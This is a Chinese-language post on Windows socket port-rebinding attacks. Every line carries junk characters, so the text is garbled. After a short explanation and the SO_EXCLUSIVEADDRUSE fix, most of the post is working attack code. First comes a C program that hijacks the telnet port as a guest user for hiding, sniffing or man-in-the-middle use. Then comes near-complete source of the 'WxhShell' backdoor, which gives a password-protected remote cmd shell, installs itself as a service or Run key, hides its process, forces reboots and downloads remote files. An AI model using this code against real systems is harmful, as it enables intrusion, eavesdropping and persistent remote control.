在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
e89Xb;;w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B?)@u|0 *=wYuJ# saddr.sin_family = AF_INET;
Z0*ljT5| TP"1\O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.>mr%#p ~",`,ZXQy bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S=nP[s >A<bBK# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]\xy\\b/` j8n4fv-)f 这意味着什么?意味着可以进行如下的攻击:
9!Ar`Io2@ g"L|n7_b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ylB7* >[ m@Qt.4m%g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-CR?<A4mud /MF!GM 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
hTM[8 ~<^ ~O]]N;>72" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1I*7SkgKv OZIW_'Wm/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
24/XNSE,- w,Lvt
} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
OKP9CLg9
q-rB2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%rF?dvb;? {XWZ<OjG #include
k~/>b~.c #include
RiTa \ #include
t(+)# #include
Ik[s DWORD WINAPI ClientThread(LPVOID lpParam);
_9?I A int main()
sU!6 hk {
d)[;e() WORD wVersionRequested;
TeWMp6u,r DWORD ret;
x+h~gckLb WSADATA wsaData;
1$2D O BOOL val;
X5]TY] SOCKADDR_IN saddr;
`$~RxzZ g SOCKADDR_IN scaddr;
Fk6x<^Q<w int err;
8NU`^L:1 SOCKET s;
$rhgzpZ!X_ SOCKET sc;
uu/+.9 int caddsize;
d @*GUmJ HANDLE mt;
[F*4EGB DWORD tid;
[ G
e=kFB wVersionRequested = MAKEWORD( 2, 2 );
-PnyZ2'Z err = WSAStartup( wVersionRequested, &wsaData );
Wfz\`y if ( err != 0 ) {
gxT4PQDy printf("error!WSAStartup failed!\n");
s%!`kWVJ. return -1;
/% I7Vc }
N~ ?{UOZd saddr.sin_family = AF_INET;
LFZiPu GCttXAto //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=L5GhA~ `g_"GE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2o9$4{}rG saddr.sin_port = htons(23);
YqV8D&I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4:sjH.u< {
HeK
h> printf("error!socket failed!\n");
6SC,;p= return -1;
ZZj~GQL(S }
a2f^x@0k val = TRUE;
Y9=(zOqv //SO_REUSEADDR选项就是可以实现端口重绑定的
6MG9a>= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{0@&OO:w {
+@Ad1fJi printf("error!setsockopt failed!\n");
Pa^A$fy\ return -1;
|w*R8ro_ }
ph}j[Co //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8$c bVMjh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kwud?2E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
7P B)'Wl"6 3s:%2%jVK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+'G0 {;b {
<|*'O5B ret=GetLastError();
#"ftI7=42 printf("error!bind failed!\n");
MzYavg` return -1;
|T4kqW{ }
"0EA;S8$8 listen(s,2);
d$Y7u while(1)
tURc bwV {
Fa epDjY8 caddsize = sizeof(scaddr);
m3^/:< //接受连接请求
{3Y )rY!z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]}mxY
vu_i if(sc!=INVALID_SOCKET)
R|P_GN6> {
4<X!<]3] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|3{&@7 if(mt==NULL)
\@~UDP]7 {
(5<^p& printf("Thread Creat Failed!\n");
==H$zmK break;
ZCVl5R(mZ }
M|[ZpM+ }
W><dYy=z5 CloseHandle(mt);
+-a&2J;J' }
,SScf98,j closesocket(s);
u=&Bmn_ WSACleanup();
-z:&*= return 0;
Kv{8iAB#c }
U{ ;l0 2S DWORD WINAPI ClientThread(LPVOID lpParam)
6] z}#" {
)B!d,HKt; SOCKET ss = (SOCKET)lpParam;
A
K/z6XGy SOCKET sc;
70B)|<$ unsigned char buf[4096];
k]rLjcB SOCKADDR_IN saddr;
kL S(w??T long num;
tehUD& DWORD val;
)2Hff. DWORD ret;
nd{R
9B //如果是隐藏端口应用的话,可以在此处加一些判断
;$BdP7i: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
DXQi-+? saddr.sin_family = AF_INET;
%gcc
y| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
S*"u/b; saddr.sin_port = htons(23);
-Z^4L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
CkRX>)=py {
zQH]s?v printf("error!socket failed!\n");
. -"E^f return -1;
O}#yijU3e }
&s)0z)mR8& val = 100;
3,);0@I if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7W9~1
.SC {
IC{F.2D ret = GetLastError();
Gy@7Xf return -1;
:&J8.G^ }
(D{Ys'{q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}'=h4yI {
0+b0< ret = GetLastError();
On1v<SD$[ return -1;
#vf_D?^ }
l#@&~f[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
p8, 0lo {
n+D#k 8{ printf("error!socket connect failed!\n");
qUf)j\7"Fn closesocket(sc);
=f:(r'm?r. closesocket(ss);
ACV ek return -1;
~]8p_;\ }
YCw('i(| while(1)
sg'NBAo" {
6U,fz#<,} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
d
`j?7Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
{5Eyr$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!U BVPR* num = recv(ss,buf,4096,0);
5]7&IDA]]9 if(num>0)
'5};M)w send(sc,buf,num,0);
3D)b*fPc else if(num==0)
L8V3BH7B break;
?Ay3u^X num = recv(sc,buf,4096,0);
(Q-I8Y8l8 if(num>0)
qi+&|80T. send(ss,buf,num,0);
Cj&$%sO1 else if(num==0)
r(}nhU Q%E break;
hteOh#0{ }
9b6!CNe! closesocket(ss);
[BBpQN.^q6 closesocket(sc);
(3md:r<- return 0 ;
P 4;{jG }
&.*uc|{ B50 [O! (BERY ==========================================================
k_3j
' qa}>i&uO 下边附上一个代码,,WXhSHELL
CtT~0Y| ;o$;Z4:.D ==========================================================
MB*u-N0v 4^Ow^7N? #include "stdafx.h"
GM}C]MVD " OGdE_E #include <stdio.h>
B4O6>' #include <string.h>
e`sw*m5 #include <windows.h>
wO"GtVd #include <winsock2.h>
`Lz1{#F2G #include <winsvc.h>
W@B7yP7Rz #include <urlmon.h>
abZdGnc rR!U; #pragma comment (lib, "Ws2_32.lib")
F^'v{@C #pragma comment (lib, "urlmon.lib")
j??tmo pN$;! #define MAX_USER 100 // 最大客户端连接数
ypA: P #define BUF_SOCK 200 // sock buffer
n(jjvLf #define KEY_BUFF 255 // 输入 buffer
b~W)S/wF$P `{G?>z Fp #define REBOOT 0 // 重启
)C}KR`" #define SHUTDOWN 1 // 关机
2cjEex:& Za!w#j%h #define DEF_PORT 5000 // 监听端口
dYyW]nZ& pAg$oe# #define REG_LEN 16 // 注册表键长度
]xR4->eix #define SVC_LEN 80 // NT服务名长度
$WNG07]tU ih!~G5Xi9i // 从dll定义API
gUGOHd(A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
u&SZlkf6% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+=,u jO: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M]B3vPA/v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-gSj>b7T \[T{M!s // wxhshell配置信息
vpa fru4 struct WSCFG {
RH=$h! 5 int ws_port; // 监听端口
7O461$4v char ws_passstr[REG_LEN]; // 口令
3`rIV*&_{ int ws_autoins; // 安装标记, 1=yes 0=no
M1(9A>|nF char ws_regname[REG_LEN]; // 注册表键名
_vIO!*h0 char ws_svcname[REG_LEN]; // 服务名
bqjr0A7{ char ws_svcdisp[SVC_LEN]; // 服务显示名
jIZ+d;1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
{,F/KL^u char ws_passmsg[SVC_LEN]; // 密码输入提示信息
A:c]1 int ws_downexe; // 下载执行标记, 1=yes 0=no
<c\]Ct char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
SJOmeN}4) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{WKOJG+. e2Ww0IK!E };
2R] XH
0
Ft$^x-d // default Wxhshell configuration
lDlj+fK struct WSCFG wscfg={DEF_PORT,
dQ`:8SK "xuhuanlingzhe",
55,=[ 1,
7 7^
"xsa "Wxhshell",
wH#-mu#Yl< "Wxhshell",
E+Im~=m$ "WxhShell Service",
WT?b Bf "Wrsky Windows CmdShell Service",
k}-]W@UCa? "Please Input Your Password: ",
[5!'ykZ 1,
IyT?-R "
http://www.wrsky.com/wxhshell.exe",
}/49T "Wxhshell.exe"
m'SmN{(t };
Gj5>Y!9 9='=-;@/5 // 消息定义模块
-$OD }5ku# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
PlF!cr7:4 char *msg_ws_prompt="\n\r? for help\n\r#>";
n+X1AOE[L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.E#<fz char *msg_ws_ext="\n\rExit.";
o|0
'0P char *msg_ws_end="\n\rQuit.";
VkWO} char *msg_ws_boot="\n\rReboot...";
]u;GNz}? char *msg_ws_poff="\n\rShutdown...";
k3C"
char *msg_ws_down="\n\rSave to ";
6mi$.'
qP 'qdg:_L" char *msg_ws_err="\n\rErr!";
6GY32\Ac char *msg_ws_ok="\n\rOK!";
z;ULQ kAY@^vi char ExeFile[MAX_PATH];
Z6NJ)XQy6F int nUser = 0;
Ew>~a8!Fq HANDLE handles[MAX_USER];
Oq[i & int OsIsNt;
WBy[m ?d <8g=BWA SERVICE_STATUS serviceStatus;
!8we8)7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
L#`7 FaM? C?{D"f`[] // 函数声明
<sO?ev[ int Install(void);
>6XDX=JVI int Uninstall(void);
)-)ss"\+Ju int DownloadFile(char *sURL, SOCKET wsh);
Fgskb"k/ int Boot(int flag);
- J{Dxz void HideProc(void);
{3.*7gnY\L int GetOsVer(void);
s c5\( b int Wxhshell(SOCKET wsl);
tSI& "- void TalkWithClient(void *cs);
a5X`jo int CmdShell(SOCKET sock);
W^003*m~~K int StartFromService(void);
Q^[e/U, int StartWxhshell(LPSTR lpCmdLine);
p}96uaC1 1!X1wCT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
wH+FFXGJs VOID WINAPI NTServiceHandler( DWORD fdwControl );
4=~ 9v >'eB2 // 数据结构和表定义
Z+r%_|kZ SERVICE_TABLE_ENTRY DispatchTable[] =
:jBZK=3F> {
Q@7l"8#[t {wscfg.ws_svcname, NTServiceMain},
nt drXg {NULL, NULL}
<"hb#Tn };
<V7SSm 5?Uo&e // 自我安装
Tt{U"EFO int Install(void)
NY.}uZ {
gW'P`Oxw char svExeFile[MAX_PATH];
uE"5 cq'B/ HKEY key;
;R/k2^uF strcpy(svExeFile,ExeFile);
W+8BQ-2 u)tHOV>& // 如果是win9x系统,修改注册表设为自启动
N[0
xqQ if(!OsIsNt) {
T"n>h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TNyK@~#m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f#'8"ff*1 RegCloseKey(key);
AGl|>f) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zhuyePn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i/5y^
RegCloseKey(key);
g@<sU0B return 0;
j#7wyi5q }
}A^1q5 }
7fap* }
: :F! else {
1P(%9 wCV>F- // 如果是NT以上系统,安装为系统服务
#L_@s
d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NS7@8 #C if (schSCManager!=0)
\R6;Fef {
E}]I%fi SC_HANDLE schService = CreateService
oP+kAV#] (
TTeA a schSCManager,
"Q3PC!7X:5 wscfg.ws_svcname,
1y},9ym wscfg.ws_svcdisp,
->#y(} SERVICE_ALL_ACCESS,
c_@XQ&DC` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>Y,/dyT
Zm SERVICE_AUTO_START,
t)\D SERVICE_ERROR_NORMAL,
hZp=BM"bJ svExeFile,
8]sTX9 NULL,
'q{PtYr NULL,
>(IITt NULL,
/1IvLdPIu NULL,
6.7`0v?,n NULL
vh<]aiY );
4C l,Iw/; if (schService!=0)
o}WB(WsG {
I(z>)S'7r CloseServiceHandle(schService);
4$0jz' CloseServiceHandle(schSCManager);
A Oby*c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
A8\U
CG strcat(svExeFile,wscfg.ws_svcname);
B@ZqJw9J[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@o}1n?w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-s9 Y(> RegCloseKey(key);
1;cv-W return 0;
=nJOaXR0 }
g2+l@$W }
% MfGVx}nG CloseServiceHandle(schSCManager);
_ff=B }
]NaMZ }
y3&Tv 4a(g<5wfI return 1;
JK@izI }
|HaU3E*R [ea6dv4p // 自我卸载
*]{9K int Uninstall(void)
tU+@1~
~ {
^/_\etV HKEY key;
M[:O( }ZEfT] if(!OsIsNt) {
w o-O_uZB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#2_o[/&}x@ RegDeleteValue(key,wscfg.ws_regname);
2x)0?N[$O RegCloseKey(key);
,H.(\p_N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PY^^^01P RegDeleteValue(key,wscfg.ws_regname);
-D!#W%y8 RegCloseKey(key);
J>HLQP return 0;
Ck ~V5 }
^/`#9]<% }
PphR4 sIM }
Eg@R[ ^T else {
>u BV
|y{;|K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J{nyo1A if (schSCManager!=0)
Nb^zkg {
Rz<d%C;R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
A2g"=x[1@K if (schService!=0)
}XfS#Xr1aV {
{ED(O-W if(DeleteService(schService)!=0) {
5]4<!m CloseServiceHandle(schService);
AJ;u&&c4C\ CloseServiceHandle(schSCManager);
ka?IX9t\ return 0;
8w{#R{w }
xm%[}Dt] CloseServiceHandle(schService);
TEaD-mY3 }
,W)IVc
CloseServiceHandle(schSCManager);
q|47;bK' }
xG *lV|<7> }
~pd1) 4
|:Q1 return 1;
Vu|Br }
-V;0_Nx7p >wg9YZ~8 // 从指定url下载文件
}@ O|RkY int DownloadFile(char *sURL, SOCKET wsh)
O84v*=u A {
!1a|5
xrn HRESULT hr;
b'Fx), char seps[]= "/";
(ybtXoQs char *token;
*j_fG$10g char *file;
2FZ0c/[& char myURL[MAX_PATH];
Sy+]SeF& char myFILE[MAX_PATH];
Uy$U8b-ov !7IT~pO` strcpy(myURL,sURL);
}5o~R~H token=strtok(myURL,seps);
U:mq7Rd8 while(token!=NULL)
PBxK>a {
Q.pEUDq/ file=token;
'f=) pc#&g token=strtok(NULL,seps);
Ckl7rpY+ }
0@sr
NuW V7B=+(xK GetCurrentDirectory(MAX_PATH,myFILE);
fG8}= xH_& strcat(myFILE, "\\");
9Sx<tj_4P{ strcat(myFILE, file);
WTV3p,;6a send(wsh,myFILE,strlen(myFILE),0);
c-s`>m send(wsh,"...",3,0);
4! Oa4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1c<CEq:?e% if(hr==S_OK)
66^1&D" return 0;
in=k:j,U0 else
)}k?r5g return 1;
O?j98H
Sya CfkNy[}= }
eB<V%,%N# !OuTXa,IH // 系统电源模块
s%L"
c int Boot(int flag)
(l3UNP {
n3l"L|W^(< HANDLE hToken;
s{"`=dKT TOKEN_PRIVILEGES tkp;
I |<+'G 9z|>roNe if(OsIsNt) {
L6[rvM|9_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
PxP?hk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
rx}ujjx tkp.PrivilegeCount = 1;
N1s$3Ul tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\4\\575zp' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
c5B_WqjJ if(flag==REBOOT) {
FfD
,cDs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2vh!pez_ return 0;
Kbz7 }
Ew?/@KAV\ else {
|L.~Amd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
U2[3S\@ return 0;
(jo(bbpj }
86^ZYh }
]df9'\ else {
j?f,~Y<k if(flag==REBOOT) {
g6@N PQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~/|unV return 0;
80 s~ae; }
H4y1Hpa, else {
So)KI_M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(v'lb!j^# return 0;
_Y
><ih }
0'\FrG }
[KimY PO%yWns30o return 1;
g<hv7?"[ }
t'=~"?T/o '.h/Y/oz // win9x进程隐藏模块
ir@N>_ void HideProc(void)
f1]AfH# {
"#\bQf} A=qW]Im HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
U3_yEvZ if ( hKernel != NULL )
O&?CoA? {
\6`%NhkM_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?2<6#>(7a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ltic_cjYd? FreeLibrary(hKernel);
$Va]vC8? }
cP#]n)< 8Snq75Q< return;
)HzITsFZKT }
ek{PA!9Sk 2,XqslB) // 获取操作系统版本
]:E! i^C`Z int GetOsVer(void)
?CUp&L0-" {
:S+U}Sm[ OSVERSIONINFO winfo;
?^yh5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
uu@'02G8 GetVersionEx(&winfo);
G8(i).Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
dWB8 return 1;
!(ux.T0 else
>Dp6@% return 0;
X^
^?}>t[ }
SbPjU50 Z'EO // 客户端句柄模块
/qkIoF2 int Wxhshell(SOCKET wsl)
hml\^I8Q>F {
i3kI2\bd/ SOCKET wsh;
#Rm=Em}d struct sockaddr_in client;
@Pb 1QLiz DWORD myID;
d"d)<f
%\{?(baOA while(nUser<MAX_USER)
Eps\iykB {
^d5./M8Bd int nSize=sizeof(client);
7].IT( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
3 ?|; on if(wsh==INVALID_SOCKET) return 1;
<0Egkz3s aji~brq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
:7DVc&0 if(handles[nUser]==0)
SVs~, closesocket(wsh);
xwH|ryfs,Z else
6dS1\Y nUser++;
ZnhuIAAG }
KEVy%AP=*h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rd 35) F{H0
% return 0;
-< dMD_ }
W'2-3J R:IS4AaS // 关闭 socket
|v%RjN void CloseIt(SOCKET wsh)
l3 pW{p {
9y|&T closesocket(wsh);
Fx88R! nUser--;
In9|n^=H@ ExitThread(0);
jVFRq T% }
HH~
du @#--dOWYR // 客户端请求句柄
1-]x void TalkWithClient(void *cs)
nhXp_Z9 {
`1d`9AS2g /qhm9~4e3 SOCKET wsh=(SOCKET)cs;
.Qi1I char pwd[SVC_LEN];
zc,9Qfn char cmd[KEY_BUFF];
%qjyk=z+Z char chr[1];
seV;f^-hR int i,j;
&CeF^ ZLio8 while (nUser < MAX_USER) {
d>"$^${ 9Or4`JOO if(wscfg.ws_passstr) {
GwpBDMk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g d}TTe
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|8U7C\S[ //ZeroMemory(pwd,KEY_BUFF);
Hv7D+j8M i=0;
}Keon.N? while(i<SVC_LEN) {
>RqT7n8h dR, NC-* // 设置超时
ZNC?Ntw fd_set FdRead;
/2\=sTd struct timeval TimeOut;
nIqY}?? FD_ZERO(&FdRead);
ttq< )4 FD_SET(wsh,&FdRead);
-^xKG'uth TimeOut.tv_sec=8;
J!fc)h TimeOut.tv_usec=0;
cLko int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'SD|ObBY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Y <i}"eI* -MW(={# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y./}zCT pwd
=chr[0]; KsU&<eQ
if(chr[0]==0xd || chr[0]==0xa) { <QW1fE
pwd=0; HYYx*CJ)
break; [#rdfN'?U
} eKFc
W5O
i++; (xSi6EZ6;
} qH$rvD!]
: )"jh`
// 如果是非法用户,关闭 socket f`]E]5?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mhkAI@)>
} +xdFkc
qjEWk."
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k+GK1Yl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2#A9D.- h
,lS-;.
while(1) { y~ 4nF
(Rg!km%2T
ZeroMemory(cmd,KEY_BUFF); [ma#8p)
,<j5i?
// 自动支持客户端 telnet标准 I;.E}k
j=0; 1z@# 8_@
while(j<KEY_BUFF) { U1!2nJ]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QRh4f\fY
cmd[j]=chr[0]; nMdN$E
if(chr[0]==0xa || chr[0]==0xd) { e}yu<~v_
cmd[j]=0; }xlmsOHuI
break;
D6!+
} _3G)S+7#
j++; Odjd`DD1
} Bsk2&17z
o^"3C1j
// 下载文件 4N=Ie}_`
if(strstr(cmd,"http://")) { [T#a1!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xI\s9_"Qy
if(DownloadFile(cmd,wsh)) Y^m=_*1g5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n*4X/K
else ;)pV[3[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4bi\$
} }
9s
else { |laKntv 2
MkGq%AE`Y
switch(cmd[0]) { /F}\V
^
?CZD^>6
// 帮助 8]MzOGB8
case '?': { NITx;iC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H;Qn?^
break; q]%bd[zkz
} Fsj&/:
q
// 安装 ^(JbJ@m/
case 'i': { F j('l
if(Install()) jz7ltoP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Jrb"H[T"
else u#,'ys
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U5$DJ5>8
break; +4nR&1z$
} ~@?-|xLqQ
// 卸载 zXU{p\;)\
case 'r': { 3U.qN0]
if(Uninstall()) "t&k{\$\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 17]31
else qFChZ+3>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %
j{pz
break; f>/ 1KV
} n}'.6
// 显示 wxhshell 所在路径 ]hVXFHrR
case 'p': { .eXA.9|jm
char svExeFile[MAX_PATH]; pyJOEL]1F
strcpy(svExeFile,"\n\r"); m_I$"ge
strcat(svExeFile,ExeFile); _`[6jhNa!
send(wsh,svExeFile,strlen(svExeFile),0); 5T3>fw2G
break; .FRF<_`^
} '#::ba[9w
// 重启 Wc>)/y5$
case 'b': { ,[1`'nN@g
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); koY8=lh/
if(Boot(REBOOT)) q0Lt[*q3R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o (NyOC
else { "Am0.c/
closesocket(wsh); wSF#;lqd
ExitThread(0); j6(IF5MqP
} 0$ac1;7
break; Qf(e'e
} AlaN;
// 关机 JP*mQzZL
case 'd': { c} ET#2,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cNc_
n<M
if(Boot(SHUTDOWN)) )K3
vzX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tg3JU\
else { O t<%gj;^
closesocket(wsh); 0)a?W,+O
ExitThread(0); !Y(qpC:$
} &'\+Z
break; gt (nZ
} A8(PI)Ic.
// 获取shell qk1D#1vl
case 's': { 6mpUk.M"
CmdShell(wsh); $%8n,FJ[
closesocket(wsh); yOz Kux8kB
ExitThread(0); Ao0PFY
break; E9-'!I !
} $KHDS:&
// 退出 Jc^ozw
case 'x': { f_XCO=8'v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :"IH *7xp
CloseIt(wsh); <yO9j
break; *sVxjZvV
} { F8,^+b|
// 离开 "*\3.`Kd
case 'q': { XQ;dew+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); pT$AdvI]
closesocket(wsh); &uW.V+3
WSACleanup(); Nj8)HR
exit(1); GFkte
break; c&(,
} oe"ShhT
} 4\es@2 q
} /loNOutw
Bd[Gsns
// 提示信息 gg_(%.>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x[6Bc
} v"_#.!V
} 4FdH:os
|JQKxvjT
return; &2pM3re/f
} /*HSAjv
H9!*DA<W
// shell模块句柄 boovCW
int CmdShell(SOCKET sock) S@($c'
{ yo6IY
STARTUPINFO si; wuQkeWxJ
ZeroMemory(&si,sizeof(si)); =K8h)B_g
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OAOmd
4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0k<%l6Bq
PROCESS_INFORMATION ProcessInfo; 6I![5j
char cmdline[]="cmd"; S-|$sV^cG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ooy96M~_G
return 0; 6mLE-(
Z7
} CZ}tQx5ga
*E_= 8OV
// 自身启动模式 f|5|n>*
int StartFromService(void) &>+Z$ZD
{ '|R|7nQAj
typedef struct a9Rh
{ M!'tD!NWc
DWORD ExitStatus; pl&GFf
o
DWORD PebBaseAddress; kk#d-!
$[
DWORD AffinityMask; gk%ye&:f
DWORD BasePriority; i+3b)xtW7
ULONG UniqueProcessId; UU`qI}Ys8F
